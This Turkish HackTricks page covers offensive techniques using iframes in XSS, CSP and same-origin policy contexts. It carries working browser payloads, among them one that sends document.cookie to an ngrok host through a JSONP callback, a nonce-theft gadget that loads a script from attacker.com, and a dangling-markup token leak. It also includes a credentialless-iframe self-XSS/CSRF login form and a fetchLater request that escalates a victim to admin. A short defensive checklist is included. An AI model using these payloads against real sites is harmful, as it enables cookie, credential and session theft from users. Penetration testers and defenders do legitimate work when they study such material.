XSS, CSP ve SOP'da Iframe'ler
Reading time: 10 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
XSS'de Iframe'ler
Iframe'li bir sayfanın içeriğini belirtmenin 3 yolu vardır:
- Bir URL belirterek
src
aracılığıyla (URL, farklı kökenli veya aynı kökenli olabilir) data:
protokolünü kullanarak içeriği belirtereksrc
aracılığıyla- İçeriği belirterek
srcdoc
aracılığıyla
Ana ve Çocuk değişkenlerine Erişim
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Eğer önceki html'ye bir http sunucusu (örneğin python3 -m http.server
) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). Ana sayfa, herhangi bir iframe içindeki secret
değişkenine erişemeyecek ve sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilenler) orijinal penceredeki secret'a erişebilir.
if4'ün null
kökenine sahip olduğu not edilmelidir.
CSP ile Iframe'ler
tip
Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
script-src
'nin self
değeri, data:
protokolü veya srcdoc
niteliği kullanarak JS kodunun yürütülmesine izin vermeyecektir.
Ancak, CSP'nin none
değeri bile, src
niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Not edin ki önceki CSP yalnızca inline script'in çalışmasına izin veriyor.
Ancak, yalnızca if1
ve if2
script'leri çalıştırılacak, fakat yalnızca if1
ana gizli bilgilere erişebilecek.
Bu nedenle, eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta script-src 'none'
ile bile. Bu, aynı site JSONP uç noktasını kötüye kullanarak da potansiyel olarak yapılabilir.
Bunu, script-src 'none'
ile bile bir çerezin çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızla erişin:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Yeni (2023-2025) CSP atlatma teknikleri ile iframeler
Araştırma topluluğu, kısıtlayıcı politikaları aşmak için iframeleri kötüye kullanmanın yaratıcı yollarını keşfetmeye devam ediyor. Aşağıda son birkaç yıl içinde yayımlanan en dikkat çekici teknikleri bulabilirsiniz:
- Dangling-markup / named-iframe veri sızıntısı (PortSwigger 2023) – Bir uygulama HTML'yi yansıttığında ancak güçlü bir CSP script yürütümünü engellediğinde, dangling
<iframe name>
niteliğini enjekte ederek hassas token'ları sızdırabilirsiniz. Kısmi markup ayrıştırıldığında, ayrı bir kök altında çalışan saldırgan script, çerçeveyiabout:blank
'a yönlendirir ve artık bir sonraki alıntı karakterine kadar her şeyi içerenwindow.name
'i okur (örneğin bir CSRF token'ı). Kurban bağlamında JavaScript çalışmadığı için, saldırı genelliklescript-src 'none'
'dan kaçınır. Minimal bir PoC:
<!-- Hassas bir <script>'ten hemen önceki enjekte noktası -->
<iframe name="//attacker.com/?"> <!-- nitelik kasıtlı olarak açık bırakıldı -->
// attacker.com çerçevesi
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → sızdırılan değer
- Aynı kök iframeden nonce çalınması (2024) – CSP nonceleri DOM'dan kaldırılmaz; yalnızca DevTools'ta gizlenir. Bir saldırgan aynı kök iframeyi enjekte edebilirse (örneğin HTML'yi siteye yükleyerek), çocuk çerçeve basitçe
document.querySelector('[nonce]').nonce
sorgusu yapabilir ve politikayı karşılayan yeni<script nonce>
düğümleri oluşturabilir, bu dastrict-dynamic
olmasına rağmen tam JavaScript yürütümü sağlar. Aşağıdaki gadget, bir markup enjesini XSS'ye yükseltir:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action kaçırma (PortSwigger 2024) –
form-action
direktifini atlayan bir sayfanın giriş formu, enjekte edilmiş bir iframe veya satır içi HTML'den yeniden hedeflenebilir, böylece şifre yöneticileri kimlik bilgilerini otomatik olarak doldurup dış bir alana gönderebilir, hattascript-src 'none'
mevcutken bile. Her zamandefault-src
'yuform-action
ile tamamlayın!
Savunma notları (hızlı kontrol listesi)
- İkincil bağlamları kontrol eden tüm CSP direktiflerini her zaman gönderin (
form-action
,frame-src
,child-src
,object-src
, vb.). - Noncelerin gizli olduğuna güvenmeyin—
strict-dynamic
ve enjekte noktalarını ortadan kaldırın. - Güvenilmeyen belgeleri gömmek zorunda kaldığınızda
sandbox="allow-scripts allow-same-origin"
çok dikkatli kullanın (yalnızca script yürütüm izolasyonu gerekiyorsaallow-same-origin
olmadan). - Derinlikte bir savunma COOP+COEP dağıtımını düşünün; yeni
<iframe credentialless>
niteliği (§ aşağıda) bunu üçüncü taraf gömme işlemlerini bozmayacak şekilde yapmanıza olanak tanır.
Doğada bulunan diğer yükler
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Iframe içindeki içerik, sandbox
niteliği kullanılarak ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu nitelik uygulanmaz, yani hiçbir kısıtlama yoktur.
Kullanıldığında, sandbox
niteliği birkaç sınırlama getirir:
- İçerik, benzersiz bir kaynaktan geliyormuş gibi muamele görür.
- Formları göndermeye yönelik herhangi bir girişim engellenir.
- Scriptlerin çalıştırılması yasaktır.
- Belirli API'lere erişim devre dışı bırakılır.
- Bağlantıların diğer tarayıcı bağlamlarıyla etkileşimde bulunması engellenir.
<embed>
,<object>
,<applet>
veya benzeri etiketler aracılığıyla eklentilerin kullanımı yasaktır.- İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik tetiklenen özellikler engellenir.
İpucu: Modern tarayıcılar, allow-scripts
, allow-same-origin
, allow-top-navigation-by-user-activation
, allow-downloads-without-user-activation
gibi ayrıntılı bayrakları destekler. Gömülü uygulamanın ihtiyaç duyduğu minimum yetenekleri sağlamak için bunları birleştirin.
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (sandbox=""
). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerler listesine ayarlanabilir.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Credentialless iframes
As explained in this article, the credentialless
flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
Since Chrome 110 (Şubat 2023) bu özellik varsayılan olarak etkin ve spesifikasyon, anonymous iframe adı altında tarayıcılar arasında standart hale getirilmektedir. MDN bunu şöyle tanımlıyor: “gerçek kökenle hiçbir çerez, localStorage veya IndexedDB paylaşılmayacak şekilde üçüncü taraf iframeleri yüklemek için yeni, geçici bir depolama bölümü oluşturma mekanizması”. Saldırganlar ve savunucular için sonuçlar:
- Farklı credentialless iframelerdeki scriptler hala aynı üst düzey kökeni paylaşır ve DOM aracılığıyla serbestçe etkileşimde bulunabilir, bu da çoklu iframe self-XSS saldırılarını mümkün kılar (aşağıdaki PoC'ye bakın).
- Ağ credential-stripped olduğu için, iframedeki herhangi bir istek etkili bir şekilde kimlik doğrulaması yapılmamış bir oturum gibi davranır – CSRF korumalı uç noktalar genellikle başarısız olur, ancak DOM aracılığıyla sızdırılabilir kamu sayfaları hala kapsamda kalır.
- Credentialless iframeden açılan pop-up'lar, bazı OAuth akışlarını bozarak örtük bir
rel="noopener"
alır.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Sömürü örneği: Self-XSS + CSRF
Bu saldırıda, saldırgan 2 iframe içeren kötü niyetli bir web sayfası hazırlar:
credentialless
bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Gerçekten kullanıcının giriş yaptığı (
credentialless
bayrağı olmadan) başka bir iframe.
Sonra, XSS'ten diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirler:
alert(window.top[1].document.cookie);
fetchLater Saldırısı
Bu makalede belirtildiği gibi, fetchLater
API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, bir fetchLater
isteği ayarlamak (örneğin, mevcut kullanıcının şifresini değiştirmek için) ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve fetchLater
isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
Bu şekilde, kurbanın URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
SOP'de Iframe'ler
Aşağıdaki sayfaları kontrol edin:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Referanslar
- PortSwigger Araştırma – CSP'yi aşmak için form kaçırma kullanma (Mart 2024)
- Chrome Geliştiricileri – Iframe kimlik bilgisi olmadan: COEP ortamlarında iframe'leri kolayca gömün (Şub 2023)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.